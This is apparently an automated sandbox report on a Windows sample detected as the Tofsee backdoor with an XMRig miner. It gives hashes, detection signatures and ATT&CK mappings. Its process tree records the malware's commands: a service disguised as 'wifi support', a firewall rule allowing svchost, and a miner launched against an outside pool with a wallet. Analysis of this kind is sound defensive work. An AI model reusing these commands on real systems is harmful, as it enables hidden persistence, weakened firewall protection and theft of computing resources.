Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    29-12-2020 07:32

General

  • Target

    214e60829043f5a0fcc0a88583b019b1.exe

  • Size

    154KB

  • MD5

    214e60829043f5a0fcc0a88583b019b1

  • SHA1

    7b2ffd670b6024d930891cbed07493a97bfa0683

  • SHA256

    f4cf0f0987a9ede49bd9de65d7b30a72a232856e1cb7c47d287ca8ba980d43ce

  • SHA512

    a3adb4b3ffb665adac068a7d53fd06bcfec8ec6d9a55ece785e7a3c9461cd40cf8551474fd337ca150e15b086f36c63ed0d5c9921c856fbddd9f6325034df09b

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\214e60829043f5a0fcc0a88583b019b1.exe
    "C:\Users\Admin\AppData\Local\Temp\214e60829043f5a0fcc0a88583b019b1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:508
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jnduiymd\
      2⤵
        PID:3548
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rrsdyzxf.exe" C:\Windows\SysWOW64\jnduiymd\
        2⤵
          PID:2824
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jnduiymd binPath= "C:\Windows\SysWOW64\jnduiymd\rrsdyzxf.exe /d\"C:\Users\Admin\AppData\Local\Temp\214e60829043f5a0fcc0a88583b019b1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1180
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jnduiymd "wifi internet conection"
            2⤵
              PID:2176
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jnduiymd
              2⤵
                PID:416
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2196
              • C:\Windows\SysWOW64\jnduiymd\rrsdyzxf.exe
                C:\Windows\SysWOW64\jnduiymd\rrsdyzxf.exe /d"C:\Users\Admin\AppData\Local\Temp\214e60829043f5a0fcc0a88583b019b1.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1312
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3792
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1456

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\rrsdyzxf.exe
                MD5

                564697ba19bb573e3ad36f34c9579db0

                SHA1

                e865a64f90df812c1c5d0dca61066b4d079703d0

                SHA256

                2627ed938c30a0e23c87c876b5cffe2f9b2bc457a6e0bac4594f042685982058

                SHA512

                90c3d8db97f1afea41e537d5b50e1c67d2a9a461b4277bbc16922495ba1de74c879ce5470e361083b4cbfd25e40787b022a2daefabfa79c05683877bd92b7dcf

              • C:\Windows\SysWOW64\jnduiymd\rrsdyzxf.exe
                MD5

                564697ba19bb573e3ad36f34c9579db0

                SHA1

                e865a64f90df812c1c5d0dca61066b4d079703d0

                SHA256

                2627ed938c30a0e23c87c876b5cffe2f9b2bc457a6e0bac4594f042685982058

                SHA512

                90c3d8db97f1afea41e537d5b50e1c67d2a9a461b4277bbc16922495ba1de74c879ce5470e361083b4cbfd25e40787b022a2daefabfa79c05683877bd92b7dcf

              • memory/416-9-0x0000000000000000-mapping.dmp
              • memory/508-3-0x00000000053F0000-0x00000000053F1000-memory.dmp
                Filesize

                4KB

              • memory/508-2-0x0000000005026000-0x0000000005027000-memory.dmp
                Filesize

                4KB

              • memory/1180-7-0x0000000000000000-mapping.dmp
              • memory/1312-12-0x0000000005021000-0x0000000005022000-memory.dmp
                Filesize

                4KB

              • memory/1312-13-0x0000000005410000-0x0000000005411000-memory.dmp
                Filesize

                4KB

              • memory/1456-21-0x000000000069259C-mapping.dmp
              • memory/1456-19-0x0000000000600000-0x00000000006F1000-memory.dmp
                Filesize

                964KB

              • memory/2176-8-0x0000000000000000-mapping.dmp
              • memory/2196-11-0x0000000000000000-mapping.dmp
              • memory/2824-5-0x0000000000000000-mapping.dmp
              • memory/3548-4-0x0000000000000000-mapping.dmp
              • memory/3792-14-0x0000000000BB0000-0x0000000000BC5000-memory.dmp
                Filesize

                84KB

              • memory/3792-15-0x0000000000BB9A6B-mapping.dmp
              • memory/3792-17-0x0000000004B50000-0x0000000004D5F000-memory.dmp
                Filesize

                2.1MB

              • memory/3792-18-0x0000000000BE0000-0x0000000000BE6000-memory.dmp
                Filesize

                24KB